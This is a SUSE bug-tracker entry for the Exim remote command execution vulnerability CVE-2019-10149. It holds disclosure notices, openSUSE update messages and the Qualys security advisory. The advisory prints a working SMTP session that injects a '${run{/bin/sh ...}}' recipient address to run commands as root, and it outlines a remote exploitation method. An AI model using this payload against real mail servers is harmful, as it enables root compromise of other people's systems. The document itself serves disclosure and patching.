Bug 1136587 (CVE-2019-10149)

Summary: VUL-0: CVE-2019-10149: exim: remote command execution in exim
Product: [Novell Products] SUSE Security Incidents Reporter: Alexandros Toptsoglou <atoptsoglou>
Component: IncidentsAssignee: Robert Frohl <rfrohl>
Status: RESOLVED FIXED QA Contact: Security Team bot <security-team>
Severity: Critical    
Priority: P1 - Urgent CC: meissner
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
Whiteboard:
Found By: --- Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---

Comment 7 Marcus Meissner 2019-06-04 10:47:43 UTC
CVE-2019-10149 Exim 4.87 to 4.91
================================

We received a report of a possible remote exploit.  Currently there is no
evidenice of an active use of this exploit.

A patch exists already, is being tested, and backported to all
versions we released since (and including) 4.87.

The severity depends on your configuration.  It depends on how close to
the standard configuration your Exim runtime configuration is. The
closer the better.

Exim 4.92 is not vulnerable.

Next steps:

* t0:    Distros will get access to our non-public security Git repo
         (access is granted based on the SSH keys that are known to us)

* t0+7d: Coordinated Release Date: Distros should push the patched
         version to their repos. The Exim maintainers will publish
         the fixed source to the official and public Git repo.

t0    is expected to be 2019-06-04, 10:00 UTC
t0+7d is expected to be 2019-06-04, 10:00 UTC


Timeline
--------

* 2019-05-27 Report from Qualys to exim-security list
* 2019-05-27 Patch provided by Jeremy Harris
* 2019-05-29 CVE-2019-10149 assigned from Qualys via RedHat
* 2019-06-03 This announcement

Updates will follow, here and on
http://www.exim.org/static/doc/security/CVE-2019-10149.txt

    Best regards from Dresden/Germany
    Viele Grüße aus Dresden
    Heiko Schlittermann
Comment 8 Robert Frohl 2019-06-05 16:41:04 UTC
updated changelog for Factory(which has a version which is already fixed)

openSUSE_Leap_15.0_Update: 707895
openSUSE_Leap_15.1_Update: 707896
Comment 9 Swamp Workflow Management 2019-06-05 17:10:07 UTC
This is an autogenerated message for OBS integration:
This bug (1136587) was mentioned in
https://build.opensuse.org/request/show/707895 15.0 / exim
https://build.opensuse.org/request/show/707896 15.1 / exim
Comment 10 Marcus Meissner 2019-06-07 05:48:07 UTC
Qualys Security Advisory

The Return of the WIZard: RCE in Exim (CVE-2019-10149)


========================================================================
Contents
========================================================================

Summary
Local exploitation
Remote exploitation
- Non-default configurations
- Default configuration
Acknowledgments
Timeline

    Boromir: "What is this new devilry?"
    Gandalf: "A Balrog. A demon of the Ancient World."
        -- The Lord of the Rings: The Fellowship of the Ring


========================================================================
Summary
========================================================================

During a code review of the latest changes in the Exim mail server
(https://en.wikipedia.org/wiki/Exim), we discovered an RCE vulnerability
in versions 4.87 to 4.91 (inclusive). In this particular case, RCE means
Remote *Command* Execution, not Remote Code Execution: an attacker can
execute arbitrary commands with execv(), as root; no memory corruption
or ROP (Return-Oriented Programming) is involved.

This vulnerability is exploitable instantly by a local attacker (and by
a remote attacker in certain non-default configurations). To remotely
exploit this vulnerability in the default configuration, an attacker
must keep a connection to the vulnerable server open for 7 days (by
transmitting one byte every few minutes). However, because of the
extreme complexity of Exim's code, we cannot guarantee that this
exploitation method is unique; faster methods may exist.

Exim is vulnerable by default since version 4.87 (released on April 6,
2016), when #ifdef EXPERIMENTAL_EVENT became #ifndef DISABLE_EVENT; and
older versions may also be vulnerable if EXPERIMENTAL_EVENT was enabled
manually. Surprisingly, this vulnerability was fixed in version 4.92
(released on February 10, 2019):

https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26
https://bugs.exim.org/show_bug.cgi?id=2310

but was not identified as a security vulnerability, and most operating
systems are therefore affected. For example, we exploit an up-to-date
Debian distribution (9.9) in this advisory.


========================================================================
Local exploitation
========================================================================

The vulnerable code is located in deliver_message():

6122 #ifndef DISABLE_EVENT
6123       if (process_recipients != RECIP_ACCEPT)
6124         {
6125         uschar * save_local =  deliver_localpart;
6126         const uschar * save_domain = deliver_domain;
6127
6128         deliver_localpart = expand_string(
6129                       string_sprintf("${local_part:%s}", new->address));
6130         deliver_domain =    expand_string(
6131                       string_sprintf("${domain:%s}", new->address));
6132
6133         (void) event_raise(event_action,
6134                       US"msg:fail:internal", new->message);
6135
6136         deliver_localpart = save_local;
6137         deliver_domain =    save_domain;
6138         }
6139 #endif

Because expand_string() recognizes the "${run{<command> <args>}}"
expansion item, and because new->address is the recipient of the mail
that is being delivered, a local attacker can simply send a mail to
"${run{...}}@localhost" (where "localhost" is one of Exim's
local_domains) and execute arbitrary commands, as root
(deliver_drop_privilege is false, by default):

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

In this example:

- we send more than received_headers_max (30, by default) "Received:"
  headers to the mail server, to set process_recipients to
  RECIP_FAIL_LOOP and hence execute the vulnerable code;

- we escape invalid characters in the recipient's address with
  backslashes, which are conveniently interpreted by expand_string() (in
  expand_string_internal() and transport_set_up_command()).


========================================================================
Remote exploitation
========================================================================

Our local-exploitation method does not work remotely, because the
"verify = recipient" ACL (Access-Control List) in Exim's default
configuration requires the local part of the recipient's address (the
part that precedes the @ sign) to be the name of a local user:

john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address

------------------------------------------------------------------------
Non-default configurations
------------------------------------------------------------------------

We eventually devised an elaborate method for exploiting Exim remotely
in its default configuration, but we first identified various
non-default configurations that are easy to exploit remotely:

- If the "verify = recipient" ACL was removed manually by an
  administrator (maybe to prevent username enumeration via RCPT TO),
  then our local-exploitation method also works remotely.

- If Exim was configured to recognize tags in the local part of the
  recipient's address (via "local_part_suffix = +* : -*" for example),
  then a remote attacker can simply reuse our local-exploitation method
  with an RCPT TO "balrog+${run{...}}@localhost" (where "balrog" is the
  name of a local user).

- If Exim was configured to relay mail to a remote domain, as a
  secondary MX (Mail eXchange), then a remote attacker can simply reuse
  our local-exploitation method with an RCPT TO "${run{...}}@khazad.dum"
  (where "khazad.dum" is one of Exim's relay_to_domains). Indeed, the
  "verify = recipient" ACL can only check the domain part of a remote
  address (the part that follows the @ sign), not the local part.

------------------------------------------------------------------------
Default configuration
------------------------------------------------------------------------

First, we solve the "verify = recipient" ACL problem with a "bounce"
message: if we send a mail that cannot be delivered, Exim automatically
sends a delivery-failure message (a "bounce") to the original sender. In
other words, the sender of our original mail (our MAIL FROM) becomes the
recipient of the bounce (its RCPT TO) and can therefore execute commands
with "${run{...}}". Indeed, the "verify = sender" ACL in Exim's default
configuration can only check the domain part of our original sender
address, not its local part (because it is a remote address).

Next, the bounce must reach the vulnerable code and pass the
process_recipients != RECIP_ACCEPT test, but we cannot reuse our
received_headers_max trick because we do not control the bounce's
headers. Our solution to this second problem is not optimal: if the
bounce itself cannot be delivered after 7 days (the default
timeout_frozen_after), then Exim sets process_recipients to
RECIP_FAIL_TIMEOUT and executes the vulnerable code.

Last, we must solve a seemingly intractable problem: after 2 days (the
default ignore_bounce_errors_after) the bounce is discarded unless it is
deferred (by a temporary delivery failure), and after 4 days the default
retry rule ("F,2h,15m; G,16h,1h,1.5; F,4d,6h") turns deferred addresses
into failed addresses, and hence discards the bounce before the 7 days
of timeout_frozen_after. Below is our solution to this third problem,
and to the remote-exploitation problem in general (but simpler and
faster solutions may exist):

1/ We connect to the vulnerable Exim server and send a mail that cannot
be delivered (because we send more than received_headers_max "Received:"
headers). The recipient address (RCPT TO) of our mail is "postmaster",
and its sender address (MAIL FROM) is "${run{...}}@khazad.dum" (where
"khazad.dum" is a domain that is under our control).

2/ Because our mail cannot be delivered, Exim connects to khazad.dum's
MX (where we listen for and accept this connection) and starts sending a
bounce message to "${run{...}}@khazad.dum".

3/ We keep this connection open for 7 days (the default
timeout_frozen_after), by sending a byte to Exim every 4 minutes. This
works because Exim reads the response to its SMTP commands (Simple Mail
Transfer Protocol) into a 4096-byte buffer (DELIVER_BUFFER_SIZE) with a
5-minute timeout (the default command_timeout) that is reset every time
a byte is read.

4/ After 7 days, we complete our lengthy SMTP response with a permanent
delivery failure (for example, "550 Unrouteable address") which freezes
the bounce in post_process_one(). This function should actually discard
the bounce instead of freezing it (which would prevent us from reaching
the vulnerable code) because it is older than 2 days (the default
ignore_bounce_errors_after):

1613   /* If this is a delivery error, or a message for which no replies are
1614   wanted, and the message's age is greater than ignore_bounce_errors_after,
1615   force the af_ignore_error flag. This will cause the address to be discarded
1616   later (with a log entry). */
1617
1618   if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619     setflag(addr, af_ignore_error);

However, in this particular case, message_age is not the bounce's real
age (over 7 days) but its age when it was first loaded from Exim's spool
(when it was just a few seconds or minutes old).

5/ Finally, Exim's next queue run (every 30 minutes by default, on
Debian) loads the frozen bounce from the spool, sets process_recipients
to RECIP_FAIL_TIMEOUT (this time, message_age is the bounce's real age,
over 7 days), and executes the vulnerable code and our commands (our
original sender address, "${run{...}}@khazad.dum", is the bounce's
recipient address, which is interpreted by expand_string()).

Note: to quickly test this remote-exploitation method, the days in
Exim's default timeout_frozen_after and ignore_bounce_errors_after can
be replaced by hours, and the default retry rule by "F,4h,6m".


========================================================================
Acknowledgments
========================================================================

We thank Exim's developers, Solar Designer, and the members of
distros@openwall.

"The Return of the WIZard" is a reference to Sendmail's ancient WIZ and
DEBUG vulnerabilities:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0145
https://seclists.org/bugtraq/1995/Feb/56

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0095
http://www.cheswick.com/ches/papers/berferd.pdf


========================================================================
Timeline
========================================================================

2019-05-27: Advisory sent to security@exim.

2019-05-28: Advisory sent to distros@openwall.
Comment 11 Swamp Workflow Management 2019-06-07 10:14:25 UTC
openSUSE-SU-2019:1524-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1136587
CVE References: CVE-2019-10149
Sources used:
openSUSE Leap 15.1 (src):    exim-4.88-lp151.4.3.1
openSUSE Leap 15.0 (src):    exim-4.88-lp150.3.3.1
Comment 12 Marcus Meissner 2020-05-11 05:58:14 UTC
was released
Comment 13 OBSbugzilla Bot 2021-05-06 16:50:05 UTC
This is an autogenerated message for OBS integration:
This bug (1136587) was mentioned in
https://build.opensuse.org/request/show/891098 Backports:SLE-15-SP1 / exim
Comment 14 Swamp Workflow Management 2021-05-20 13:24:49 UTC
openSUSE-SU-2021:0753-1: An update that fixes 30 vulnerabilities is now available.

Category: security (critical)
Bug References: 1079832,1136587,1142207,1154183,1160726,1171490,1171877,1173693,1185631
CVE References: CVE-2017-1000369,CVE-2017-16943,CVE-2017-16944,CVE-2018-6789,CVE-2019-10149,CVE-2019-13917,CVE-2019-15846,CVE-2019-16928,CVE-2020-12783,CVE-2020-28007,CVE-2020-28008,CVE-2020-28009,CVE-2020-28010,CVE-2020-28011,CVE-2020-28012,CVE-2020-28013,CVE-2020-28014,CVE-2020-28015,CVE-2020-28016,CVE-2020-28017,CVE-2020-28018,CVE-2020-28019,CVE-2020-28020,CVE-2020-28021,CVE-2020-28022,CVE-2020-28023,CVE-2020-28024,CVE-2020-28025,CVE-2020-28026,CVE-2020-8015
JIRA References: 
Sources used:
openSUSE Backports SLE-15-SP1 (src):    exim-4.94.2-bp151.2.4.1, libspf2-1.2.10-bp151.4.1